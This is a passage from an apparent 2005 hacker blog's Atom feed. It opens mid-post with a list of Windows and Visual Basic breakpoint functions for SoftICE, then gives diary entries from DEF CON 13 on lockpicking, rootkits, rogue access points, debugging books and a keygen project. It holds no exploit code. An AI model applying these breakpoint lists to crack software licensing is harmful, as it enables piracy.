monospace;"&gt;&lt;br /&gt;&lt;/span&gt;GetSystemTime&lt;span style="font-family: monospace;"&gt;&lt;br /&gt;&lt;/span&gt;GetLocalTime &lt;span style="font-family: monospace;"&gt;&lt;br /&gt;&lt;/span&gt;SystemTimeToFileTime&lt;span style="font-family: monospace;"&gt;&lt;br /&gt;&lt;/span&gt;CreatewindowexA&lt;br /&gt;GetLogicalDrivesA&lt;span style="font-family: monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;font size="2"&gt;GetLogicalDriveStringsA&lt;span style="font-family: monospace;"&gt;&lt;br /&gt;&lt;/span&gt;SENDMESSAGE&lt;span style="font-family: monospace;"&gt;&lt;br /&gt;&lt;/span&gt;WSPRINTF&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;vb bpx's&lt;br /&gt;------------&lt;br /&gt;&lt;font face="Courier New, Courier" size="2"&gt; __vbaStrCat&lt;br /&gt;__vbaStrCmp&lt;br /&gt;__vbaStrComp&lt;br /&gt;__vbaStrCompVar&lt;br /&gt;__vbaStrCy&lt;br /&gt;__vbaStrDate&lt;br /&gt;__vbaStrFixstr&lt;br /&gt;__vbaStrI2&lt;br /&gt;__vbaStrI4&lt;br /&gt;__vbaStrLike&lt;br /&gt;__vbaStrR4&lt;br /&gt;__vbaStrR8&lt;br /&gt;__vbaStrTextCmp&lt;br /&gt;__vbaStrTextLike&lt;br /&gt;__vbaStrToAnsi&lt;br /&gt;__vbaStrToUnicode&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-112318560667755092?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/112318560667755092/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=112318560667755092' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112318560667755092'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112318560667755092'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/08/pushing-to-stack.html' title='Pushing to the stack'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-112312058345055420</id><published>2005-08-03T20:57:00.000-04:00</published><updated>2005-08-03T21:56:23.486-04:00</updated><title type='text'>Amazon, kris kaspersky and neuro-circuitry</title><content type='html'>After 3 months of waiting my Amazon order was delivered. I was really getting bored of email notices telling me to confirm yet another delay. But as most everything goes, if you stick with it, it's worth the wait.&lt;br /&gt;&lt;br /&gt;So I was waiting for Kris Kaspersky's latest book, debugging uncovered. ISBN 1-931769-40-0. Very good book. I've only had it for 4 hours and I'm well into it. One interesting part discussed is the use of emulators in software hacking. Seems intuitive but I've never seen it in print. Of course VMware is the choice among several. Mainly because it's the only one that softice (&gt;3.1) likes.  I origially found it on google, but here is the reference config for VMware from the book: svga.maxFullscreenRefreshTick = "2" and vmouse.present = "FALSE".  It's noted that this can also be found in the softice docs.&lt;br /&gt;&lt;br /&gt;The other interesting thing noted is that Kris points out that win2k is much better than winxp for his sort of endeavors.  I'll get back to that at some point.  I know win2k pro had some specific hack-friendly components...I was not aware of those being left out of xp though.&lt;br /&gt;&lt;br /&gt;In addition to the pre-published book ordered months ago I tacked on a companion dvd called "better living though circuitry". I got a similar one as a holiday gift a few years back and it seemed a logical choice to go with the book.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-112312058345055420?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/112312058345055420/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=112312058345055420' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112312058345055420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112312058345055420'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/08/amazon-kris-kaspersky-and-neuro.html' title='Amazon, kris kaspersky and neuro-circuitry'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-112306927138095875</id><published>2005-08-03T10:28:00.000-04:00</published><updated>2005-08-03T07:41:11.383-04:00</updated><title type='text'>nokia is the best</title><content type='html'>I found an old nokia 252 cell phone the other day.  Nokia is by far the best.  I'd never use anything else.  It's always refreshing to find old cell phons like that.  Werid thing is that all the call logs and phone books were intact.  Like after, what 5-7 years of no battery.  I love nokia.&lt;br /&gt;&lt;br /&gt;So instinctivley I type in &lt;span class="postbody"&gt;      * # 6391# and start testing.&lt;/span&gt;  Three hours later...it's fully tested and I'm on to finding the small skrewdriver to get to the hardware.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-112306927138095875?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/112306927138095875/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=112306927138095875' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112306927138095875'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112306927138095875'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/08/nokia-is-best.html' title='nokia is the best'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-112293770001300301</id><published>2005-07-31T19:07:00.000-04:00</published><updated>2005-08-01T21:14:52.526-04:00</updated><title type='text'>sunday evening dc13</title><content type='html'>So defcon is over. Another year to contemplate the happenings of the past weekend. Anything is possible. There are no secrets. Judgement of an individual's technical ability should be done on what she is doing rather than what she has done. And overall judgement of a indivudual should be measured by how much they give rather than how much they take.&lt;br /&gt;&lt;br /&gt;so hacking is more than just understanding the matrix, reverse engineering, writing shellcode, owning boxes, and installing rootkits on them.  It really about building things, taking them apart, learning, teaching and giving in ways never thought possible.&lt;br /&gt;&lt;br /&gt;That's hacking.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-112293770001300301?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/112293770001300301/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=112293770001300301' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112293770001300301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112293770001300301'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/07/sunday-evening-dc13.html' title='sunday evening dc13'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-112293763810639787</id><published>2005-07-31T11:06:00.000-04:00</published><updated>2005-08-01T19:07:18.110-04:00</updated><title type='text'>sunday morning dc13</title><content type='html'>It was a long night last night.  Not sure if it was the industial at pool two or the techno at pool three.  But I had a hard time getting to sleep.  I ended up watching hacker jepordy.  That was funny.  Cool questions jsut like normal jepordy but with the added scoring of 1000 points for each beer consumed by a member of a 3 person team. &lt;br /&gt;&lt;br /&gt;After about 3/4 of the way through of course one of the team members comtributed a little too much to the 1000 point bonus scoring and...well...he ended up with a slihtly cramped but very clean upper GI tract.   That was not the funny part.&lt;br /&gt;&lt;br /&gt;It was not until a clown form an opposing team tried to answer a question by emailing a friend for an answer using his blackberry.  That was clearly against the common law rules so a person from the thrid oposing team grabbed it and threw it in the puke.&lt;br /&gt;&lt;br /&gt;So I checked out of hotel and headed to the airport.  I had a few hours to read a new book a got about windows kernel internals called "rootkits".  It's a good book.  There were several good presentations at blackhat and defcon about rootkits.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-112293763810639787?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/112293763810639787/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=112293763810639787' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112293763810639787'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112293763810639787'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/07/sunday-morning-dc13.html' title='sunday morning dc13'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-112278350804600316</id><published>2005-07-31T00:04:00.000-04:00</published><updated>2005-07-31T00:21:25.166-04:00</updated><title type='text'>evening time at defcon 0x0D</title><content type='html'>Evening draws near at the con. Time for the black and white ball and...new for this year... queercon. I really don't fit into the goth scene or the gay scene. But it would be fun to go at least once I suppose.&lt;br /&gt;&lt;br /&gt;But I'm here to teach and learn. So there was yet another good physical security talk on high security locks and safe bypass techniques. Very interesing stuff. And then finally for me the 2 hour talk about becomming you own phone company with the help of a tricked out asterisk box.&lt;br /&gt;&lt;br /&gt;I have one set up at home...actually running asterisk @ home, with all the web interface stuff. I love it. The talk was great and has inspired me to donate all my extra winnings since I got here to the asterisk development team...or maybe I'll just buy more cisco 79xx phones for home projects...If you have not set up asterisk box yet...do it, you rmind is the limit when you have you rown pbx. Way too much fun.&lt;br /&gt;&lt;br /&gt;I'll be checking out the latest updates in the CTF area then work on my current kegenning project. Then sleep.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-112278350804600316?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/112278350804600316/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=112278350804600316' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112278350804600316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112278350804600316'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/07/evening-time-at-defcon-0x0d.html' title='evening time at defcon 0x0D'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-112275850455942068</id><published>2005-07-30T17:02:00.000-04:00</published><updated>2005-07-30T17:21:44.563-04:00</updated><title type='text'>saturday afternoon defcon 13</title><content type='html'>Mark Tobias and his security.org crew had an interesting discussion about full disclosure for physical security devices e.g. locks and safes.   So a number of vulnerabilities were discussed.  All were well known.  The main question was asked, "Does it increase security of locks to disclose defects"?  Of course the answer was yes.  but it was actulaly pointed out the both kryptonite and best locks are now made without previou defects found. &lt;br /&gt;&lt;br /&gt;Following that was another talk on lockpicking.  Perhaps the most important demonstration was the one showing a defect in common gun locks.  These can be breached in about 5 seconds by anyone with a wire.  Kind of chilling.&lt;br /&gt;&lt;br /&gt;Got some pizza and water for lunch.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-112275850455942068?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/112275850455942068/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=112275850455942068' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112275850455942068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112275850455942068'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/07/saturday-afternoon-defcon-13.html' title='saturday afternoon defcon 13'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-112273833654915347</id><published>2005-07-30T11:26:00.000-04:00</published><updated>2005-07-30T11:49:40.460-04:00</updated><title type='text'>saturday at defcon 13</title><content type='html'>The halmark of an early morning at the Alexis Park on defcon staturday is the marked decrease in overal BPM. It peaks at about 3am then slowly drops off as dawn approaches.&lt;br /&gt;&lt;br /&gt;For me...at dawn...the pillows come off my head just enough to turn off my wrist watch alarm. First thing in the morning...drink water...two glasses. The heat is searing at over 100F each day. I like it that way though.&lt;br /&gt;&lt;br /&gt;I take a short walk to my favorite breakfast food serving place in this area.  Mr.Lucky's at the Hard Rock Cafe. they have great food in my price range.   A new flair has been added to the lunchtime spread...Fake new york pizza next to a newly built cvs 1/8 mile east for the hotel.&lt;br /&gt;&lt;br /&gt;So last night there was a good session on russian hacker sites. How the russian economy is broken and encourages identity theft, software pirating and so on. And then the discussion turned to how we can find and make sense of russian criminal element to better test and protect systems in the west.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-112273833654915347?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/112273833654915347/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=112273833654915347' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112273833654915347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112273833654915347'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/07/saturday-at-defcon-13.html' title='saturday at defcon 13'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-112269758803237640</id><published>2005-07-29T23:47:00.000-04:00</published><updated>2005-07-30T00:27:26.966-04:00</updated><title type='text'>friday afternoon [at] defcon 13</title><content type='html'>Wow...great talks so far today. And what better way to stay up on the latest schedule (and last minute changes) than by registering with defcon by phone. I called up and asterisk box, it called me back, I set a super secret pin and wammo...I'm in.&lt;br /&gt;&lt;br /&gt;It's always easier for me to use the same 4 digit pin for all my access codes and registering my home fone was important to make sure I do not miss any updates.&lt;br /&gt;&lt;br /&gt;Anyway Mudge (along with two wiskey sour's..I think) gave an attempt at defining some laws of internal networks, that if broken could be an early indication of a compromise. This whole idea exploits the fact that internet networks and associated layer 2 and layer 3 activity have fundimental differences that the respective activity on an intranet. It is worth noting that very few IDS's deployed on internal networks actualy look for this anomylous activity&lt;br /&gt;&lt;br /&gt;For example we should not expect a file server to generate layer 3 traffic associated with web surfing. Or we would not expect to find a desktop accepting connections from clients. We would expect that layer 2 activity would have a constant MTU size on an internal network, that packets would arrive in order, and so forth.&lt;br /&gt;&lt;br /&gt;Richard Theime was talking about hacker culture as he does...it was good content, until he digressed into interplantary travel and the assoicated space ships traveling beyond the speed of light.&lt;br /&gt;&lt;br /&gt;Bruce and later the rest of the shmoo group had some good insights and one bad one. First the bad one. Well maybe not bad, just misguided from my point of veiw. I'll start by saying I think openbsd is the best operating system...ok, now that that's out of the way...Bruce tried to make the case that bsd is better than linux.&lt;br /&gt;&lt;br /&gt;In fairness, the talk was framed as a 'discussion'. He even made windows look better than linux. The 0xbeef of the argument was that userland utilites are integrated in formal *bsd releases in contrast to linux where the kernel and userland development are disjoint and are 'glued' together differently by each distro.&lt;br /&gt;&lt;br /&gt;My response to that argument, while true, is that userland and kernel developers are different in the bsd world as well and use just as much glue and the linux distro guys.&lt;br /&gt;&lt;br /&gt;It was also pointed out that patches and advisories to windows are much more rapid and formalized than in the linux world. bsd patches were not part of the discussion...wonder why? Hmm..well bsd patches come out very quickly, in source code... that's for sure...what could it be. Here is the secret to maximum bsd uptime...don't patch. for those that don't know what I'm talking about...likley you have never run bsd boxes in production.&lt;br /&gt;&lt;br /&gt;So lets see...I'm going to patch my prod systems today...guess I have to recompile the entire os...that does not happen too often outside a lab environment or desktop .&lt;br /&gt;&lt;br /&gt;Enough of the bad news. Bruce then came back with Bettle and demonstrated rouge squadren, a new wrt54g firmware they wrote to show how easy it is to set up a rouge access point. Very nice work.&lt;br /&gt;&lt;br /&gt;I entered the lockpicking contest. Boy was that fun...10 minutes to pick a weiser lock...seemed easy enough. I did not have enough practice going into it. I normally can pick a wieser core in less than 2 minutes...geeez. I think I heard these locks had 8 pin settings. Maybe different than mine. I got a shirt out of it anyway. There is always next year.&lt;br /&gt;&lt;br /&gt;Some friends and I [literally] chilled out in my room and watched defcon tv...then went to dinner.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-112269758803237640?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/112269758803237640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=112269758803237640' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112269758803237640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112269758803237640'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/07/friday-afternoon-at-defcon-13.html' title='friday afternoon [at] defcon 13'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-112265117059284010</id><published>2005-07-29T11:23:00.000-04:00</published><updated>2005-07-29T11:32:50.596-04:00</updated><title type='text'>friday morning @ dc13</title><content type='html'>I've made it to the wonderful world defcon once again this year.  &lt;br /&gt;&lt;br /&gt;Something seems a little different though.  Take yesterday morning for example.  I was out getting breakfast at an abnormally early time (I'm still on EDT)...and could not help notice a small group that was extending their previous night's party.  &lt;br /&gt;&lt;br /&gt;I was just going to walk by when I was stopped and asked if I wanted a beer.  I said sure...it was a nice gesture...the thought is what counts. &lt;br /&gt;&lt;br /&gt;So the vibe is pretty good so far.   I've been practicing for the lockpicking contest today and towmorrow.  I have not got a chance in hell of winning...it's fun getting up in front of everyone and the spirit of the competition.&lt;br /&gt;&lt;br /&gt;Oh yea...I woke up this morning and the phone was out of service.  Hmmm...wonder what happened.  Anyway...it's back up...likley being monitored by the dc13 faithful and I get to post this.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-112265117059284010?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/112265117059284010/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=112265117059284010' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112265117059284010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112265117059284010'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/07/friday-morning-dc13.html' title='friday morning @ dc13'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>1</thr:total></entry></feed>
